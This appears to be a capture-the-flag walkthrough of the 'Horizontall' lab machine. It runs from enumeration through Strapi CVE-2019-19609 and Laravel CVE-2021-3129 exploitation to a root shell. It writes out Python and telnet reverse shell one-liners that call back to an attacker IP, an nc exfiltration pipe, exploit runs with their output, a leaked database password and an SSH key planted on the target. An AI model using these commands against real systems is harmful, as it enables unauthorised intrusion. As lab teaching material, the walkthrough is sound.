Enumeration

Run Nmap Scan

nmap -p- -T4 10.129.76.28

"
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-23 11:43 BST
Nmap scan report for 10.129.76.28
Host is up (0.16s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 470.15 seconds
"

nmap -p 22,80 -sC -sV 10.129.76.28

"
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-23 11:51 BST
Nmap scan report for 10.129.76.28
Host is up (0.16s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ee774143d482bd3e6e6e50cdff6b0dd5 (RSA)
|   256 3ad589d5da9559d9df016837cad510b0 (ECDSA)
|_  256 4a0004b49d29e7af37161b4f802d9894 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.18 seconds
"

Update Hostname

sudo vi /etc/hosts

"
10.129.76.28 horizontall.htb
"

View Website

Directory Bruteforcing (Run Gobuster)

gobuster dir -u http://horizontall.htb/ -w /usr/share/wordlists/dirb/common.txt 

"
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://horizontall.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/10/23 11:56:40 Starting gobuster in directory enumeration mode
===============================================================
/css                  (Status: 301) [Size: 194] [--> http://horizontall.htb/css/]
/favicon.ico          (Status: 200) [Size: 4286]                                 
/img                  (Status: 301) [Size: 194] [--> http://horizontall.htb/img/]
/index.html           (Status: 200) [Size: 901]                                  
/js                   (Status: 301) [Size: 194] [--> http://horizontall.htb/js/] 
                                                                                 
===============================================================
2023/10/23 11:57:59 Finished
===============================================================
"

Enumerating Subdomain Information

Subdomain Bruteforcing (Failed)

wfuzz -u http://horizontall.htb -H "Host: FUZZ.horizontall.htb" -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-20000.txt --hh 194

`
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://horizontall.htb/
Total requests: 19983

=====================================================================
ID           Response   Lines    Word       Chars       Payload        
=====================================================================

000000001:   200        1 L      43 W       901 Ch      "www"          
000001176:   200        1 L      43 W       901 Ch      "WWW"          

Total time: 0
Processed Requests: 19983
Filtered Requests: 19981
Requests/sec.: 0
`

No subdomain is found through bruteforcing

Inspecting Website Code

Opening network tab, we can find 2 .js files. We are going to inspect the app file, so we can get any additional information.

wget http://horizontall.htb/app.c68eb462.js

Download the file and install the file extension for vscode to format the minified js code

y = {
    name: "App",
    components: {
        Navbar: v,
        Home: w
    },
    data: function() {
        return {
            reviews: []
        }
    },
    methods: {
        getReviews: function() {
            var t = this;
            r.a.get("http://api-prod.horizontall.htb/reviews").then((function(s) {
                return t.reviews = s.data
            }))
        }
    }
}
//# sourceMappingURL=app.c68eb462.js.map

Below is the extracted information we found from the js code. We found the link http://api-prod.horizontall.htb/reviews that we can enumerate.

Update Hostname

sudo vi /etc/hosts

"
10.129.76.28 horizontall.htb api-prod.horizontall.htb
"

api-prod.horizontall.htb was included in the hostname

api-prod website directory bruteforcing (Run Gobuster)

gobuster dir -u http://api-prod.horizontall.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt 

"
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://api-prod.horizontall.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/10/23 14:24:42 Starting gobuster in directory enumeration mode
===============================================================
/reviews              (Status: 200) [Size: 507]
/users                (Status: 403) [Size: 60] 
/admin                (Status: 200) [Size: 854]
Progress: 48055 / 207644 (23.14%)             ^C
[!] Keyboard interrupt detected, terminating.
                                               
===============================================================
2023/10/23 14:38:52 Finished
===============================================================
"

Exploitation

Strapi Enumeration

If we route to /admin , we get this login page. Strapi - Open source Node.js Headless CMS 🚀 It’s a CMS application built in node js.

Finding Exploit

searchsploit strapi

"
---------------------------------------------- ---------------------------------
 Exploit Title                                |  Path
---------------------------------------------- ---------------------------------
Strapi 3.0.0-beta - Set Password (Unauthentic | multiple/webapps/50237.py
Strapi 3.0.0-beta.17.7 - Remote Code Executio | multiple/webapps/50238.py
Strapi CMS 3.0.0-beta.17.4 - Remote Code Exec | multiple/webapps/50239.py
Strapi CMS 3.0.0-beta.17.4 - Set Password (Un | nodejs/webapps/50716.rb
---------------------------------------------- ---------------------------------
Shellcodes: No Results
"

If strapi version is either 17.4 or 17.7, we could exploit this vulnerability.

Finding version no.

I was searching either 17.4 or 17.7 as those had the vulnerability I could exploit. Here the version is beta.17.4

Using CVE-2019-19609

searchsploit -x 50239

"
  Exploit: Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (RCE) (Unauthenticated)
      URL: https://www.exploit-db.com/exploits/50239
     Path: /usr/share/exploitdb/exploits/multiple/webapps/50239.py
    Codes: N/A
 Verified: False
File Type: Python script, ASCII text executable
"

Exploit

python3 50239.py http://api-prod.horizontall.htb/

"
[+] Checking Strapi CMS Version running
[+] Seems like the exploit will work!!!
[+] Executing exploit

[+] Password reset was successfully
[+] Your email is: admin@horizontall.htb
[+] Your new credentials are: admin:SuperStrongPassword1
[+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjk4MDY4ODQ0LCJleHAiOjE3MDA2NjA4NDR9.iFT5R6EqwltubwuU4hYBobSfCrCo0MmBLdV_kpyOIRM

$>
"

Using Python Reverse Shell (Failed)

First I’m going to check if the target system has python installed

python3 --version | nc 10.10.14.64 4444

`
$> python3 --version | nc 10.10.14.64 4444
[+] Triggering Remote code executin
[*] Rember this is a blind RCE don't expect to see output
{"statusCode":400,"error":"Bad Request","message":[{"messages":[{"id":"An error occurred"}]}]}
$>
`

nc -lvnp 4444

"
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.76.28.
Ncat: Connection from 10.129.76.28:38990.
Python 3.6.9
"

Generate Python Reverse Shell Online - Reverse Shell Generator

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.64",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

`
[+] Triggering Remote code executin
[*] Rember this is a blind RCE don't expect to see output
{"statusCode":400,"error":"Bad Request","message":[{"messages":[{"id":"An error occurred"}]}]}
`

Unfortunately the Reverse Shell didn’t work.

Using Telnet Reverse Shell

TF=$(mktemp -u);mkfifo $TF && telnet 10.10.14.64 4444 0<$TF | sh 1>$TF

"
$> TF=$(mktemp -u);mkfifo $TF && telnet 10.10.14.64 4444 0<$TF | sh 1>$TF
[+] Triggering Remote code executin
[*] Rember this is a blind RCE don't expect to see output
"

nc -lvnp 4444

`
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.76.28.
Ncat: Connection from 10.129.76.28:39012.

whoami
strapi
python -c 'import pty;pty.spawn("/bin/bash")'
strapi@horizontall:~/myapi$
`

Privilege Escalation

Finding Credentials from MySQL Configuration File (Failed)

cat database.json

`
~/myapi/config/environments/development$ cat database.json

{
  "defaultConnection": "default",
  "connections": {
    "default": {
      "connector": "strapi-hook-bookshelf",
      "settings": {
        "client": "mysql",
        "database": "strapi",
        "host": "127.0.0.1",
        "port": 3306,
        "username": "developer",
        "password": "#J!:F9Zt2u"
      },
      "options": {}
    }
  }
}
`

After enumerating the filesystem, I found the credentials from the configuration file.

su - developer

"
Password: #J!:F9Zt2u

su: Authentication failure
"

Unfortunately, the credential didn’t work to escalate the privilege to developer.

Enumerating Network Information

netstat -lntp

"
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:1337          0.0.0.0:*               LISTEN      1938/node /usr/bin/ 
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -
"

We know 22,80 is the port that we already scanned and port 1337 is the port for the strapi application. But we haven’t enumerated port 8000. However, looking at the ip address, it’s hosted in localhost. So we need to forward the port.

Port Forwarding using SSH

Checking SSH config in the target system

cat sshd_config 

"
# Expect .ssh/authorized_keys2 to be disregarded by default in future.
#AuthorizedKeysFile	.ssh/authorized_keys .ssh/authorized_keys2
"

The key file should be in .ssh/authorized_keys path. Meaning in ~/.ssh/authorized_keys path.

Generating SSH Key

ssh-keygen -t ed25519

Generate the SSH key from our PC and host the generated id_ed25519.pub file (SSH public key).

Download the public key inside the Specified PATH

# ~/.ssh/authorized_keys
cd ~
mkdir .ssh
cd .ssh
curl http://<attacker ip>:8000/id_ed25519.pub -o authorization_keys

Port Forward 8000 to Our System.

ssh -i id_ed25519 strapi@10.129.76.163 -L 8000:localhost:8000

"
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-154-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Oct 24 10:34:46 UTC 2023

  System load:  0.0               Processes:           197
  Usage of /:   82.0% of 4.85GB   Users logged in:     0
  Memory usage: 29%               IP address for eth0: 10.129.76.163
  Swap usage:   0%

0 updates can be applied immediately.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Fri Jun  4 11:29:42 2021 from 192.168.1.15
$
"

Enumerating Localhost:8000

It is a the default laravel (web application) server hosted.

localhost:8000 directory bruteforcing (Run Gobuster)

gobuster dir -u http://localhost:8000/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -z -x php -f

`
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://localhost:8000/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Add Slash:               true
[+] Timeout:                 10s
===============================================================
2023/10/24 11:37:26 Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 17473]
[ERROR] 2023/10/24 11:37:56 [!] Get "http://localhost:8000/55.php": read tcp [::1]:42738->[::1]:8000: read: connection reset by peer
[ERROR] 2023/10/24 11:37:56 [!] Get "http://localhost:8000/topic.php": read tcp [::1]:42772->[::1]:8000: read: connection reset by peer
[ERROR] 2023/10/24 11:37:56 [!] Get "http://localhost:8000/g.php": EOF
[ERROR] 2023/10/24 11:37:56 [!] Get "http://localhost:8000/multimedia.php": EOF
[ERROR] 2023/10/24 11:37:56 [!] Get "http://localhost:8000/start.php": EOF
[ERROR] 2023/10/24 11:37:56 [!] Get "http://localhost:8000/lists/": EOF
[ERROR] 2023/10/24 11:37:56 [!] Get "http://localhost:8000/title/": read tcp [::1]:42766->[::1]:8000: read: connection reset by peer
...
`

SSH Port forwarding to port 8000 fails during the gobuster scan to localhost:8000, which results in fail in transmitting packet.

gobuster dir -u http://localhost:8000/ -w /opt/useful/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -z

`
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://localhost:8000/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/useful/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/10/24 11:44:14 Starting gobuster in directory enumeration mode
===============================================================
/profiles             (Status: 500) [Size: 616210]
[ERROR] 2023/10/24 11:44:57 [!] Get "http://localhost:8000/locations": EOF
[ERROR] 2023/10/24 11:44:57 [!] Get "http://localhost:8000/property": read tcp [::1]:39210->[::1]:8000: read: connection reset by peer
[ERROR] 2023/10/24 11:44:57 [!] Get "http://localhost:8000/talk": read tcp [::1]:39218->[::1]:8000: read: connection reset by peer
[ERROR] 2023/10/24 11:44:57 [!] Get "http://localhost:8000/third-party": read tcp [::1]:39232->[::1]:8000: read: connection reset by peer
[ERROR] 2023/10/24 11:44:57 [!] Get "http://localhost:8000/phplist": EOF
`

I got a hint from 0xdf-Horizontall for which web directory list file to use.

Exploiting the Vulnerability

Going to /profiles , here we can see an error occured and know this is a debug menu. Finding Laravel debug mode exploit in google, I found an interesting website. Laravel up to v8.4.2 debug mode: Remote code execution It requires version less than 8.4.2 which can be used to exploit our target system as the target system is using Laravel v8. (Look closely in the Laravel default website)

Generating a Reverse Shell

Online - Reverse Shell Generator

vi reverse.sh

`
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.64",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
`

I’m going to use a python reverse shell, since I know python3.6.9 is installed. Download the reverse shell inside the /tmp folder using wget and give execution permission using chmod +x reverse.sh

Using CVE-2021-3129

https://github.com/nth347/CVE-2021-3129_exploit Execute the exploit in our machine, but don’t forget to maintain the SSH Port Forwarding connection.

./exploit.py http://localhost:8000 Monolog/RCE1 "uname -a"

"
[i] Trying to clear logs
[+] Logs cleared
[i] PHPGGC not found. Cloning it
Cloning into 'phpggc'...
remote: Enumerating objects: 3891, done.
remote: Counting objects: 100% (744/744), done.
remote: Compressing objects: 100% (264/264), done.
remote: Total 3891 (delta 536), reused 528 (delta 467), pack-reused 3147
Receiving objects: 100% (3891/3891), 549.91 KiB | 1.98 MiB/s, done.
Resolving deltas: 100% (1693/1693), done.
[+] Successfully converted logs to PHAR
[+] PHAR deserialized. Exploited

Linux horizontall 4.15.0-154-generic #161-Ubuntu SMP Fri Jul 30 13:04:17 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

[i] Trying to clear logs
[+] Logs cleared
"

Listen to Reverse Shell and Exploit

./exploit.py http://localhost:8000 Monolog/RCE1 "/bin/bash /tmp/reverse.sh"

"
[i] Trying to clear logs
[+] Logs cleared
[+] PHPGGC found. Generating payload and deploy it to the target
[+] Successfully converted logs to PHAR
[i] There is no output
[i] Trying to clear logs
"

nc -lvnp 4445

"
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4445
Ncat: Listening on 0.0.0.0:4445
Ncat: Connection from 10.129.76.163.
Ncat: Connection from 10.129.76.163:54180.
# whoami
whoami
root
#
"

​Enumeration

​Run Nmap Scan

​Update Hostname

​View Website

​Directory Bruteforcing (Run Gobuster)

​Enumerating Subdomain Information

​Subdomain Bruteforcing (Failed)

​Inspecting Website Code

​Update Hostname

​api-prod website directory bruteforcing (Run Gobuster)

​Exploitation

​Strapi Enumeration

​Finding Exploit

​Finding version no.

​Using CVE-2019-19609

​Exploit

​Using Python Reverse Shell (Failed)

​Using Telnet Reverse Shell

​Privilege Escalation

​Finding Credentials from MySQL Configuration File (Failed)

​Enumerating Network Information

​Port Forwarding using SSH

​Checking SSH config in the target system

​Generating SSH Key

​Download the public key inside the Specified PATH

​Port Forward 8000 to Our System.

​Enumerating Localhost:8000

​localhost:8000 directory bruteforcing (Run Gobuster)

​Exploiting the Vulnerability

​Generating a Reverse Shell

​Using CVE-2021-3129

​Listen to Reverse Shell and Exploit

​References

Enumeration

Run Nmap Scan

Update Hostname

View Website

Directory Bruteforcing (Run Gobuster)

Enumerating Subdomain Information

Subdomain Bruteforcing (Failed)

Inspecting Website Code

Update Hostname

api-prod website directory bruteforcing (Run Gobuster)

Exploitation

Strapi Enumeration

Finding Exploit

Finding version no.

Using CVE-2019-19609

Exploit

Using Python Reverse Shell (Failed)

Using Telnet Reverse Shell

Privilege Escalation

Finding Credentials from MySQL Configuration File (Failed)

Enumerating Network Information

Port Forwarding using SSH

Checking SSH config in the target system

Generating SSH Key

Download the public key inside the Specified PATH

Port Forward 8000 to Our System.

Enumerating Localhost:8000

localhost:8000 directory bruteforcing (Run Gobuster)

Exploiting the Vulnerability

Generating a Reverse Shell

Using CVE-2021-3129

Listen to Reverse Shell and Exploit

References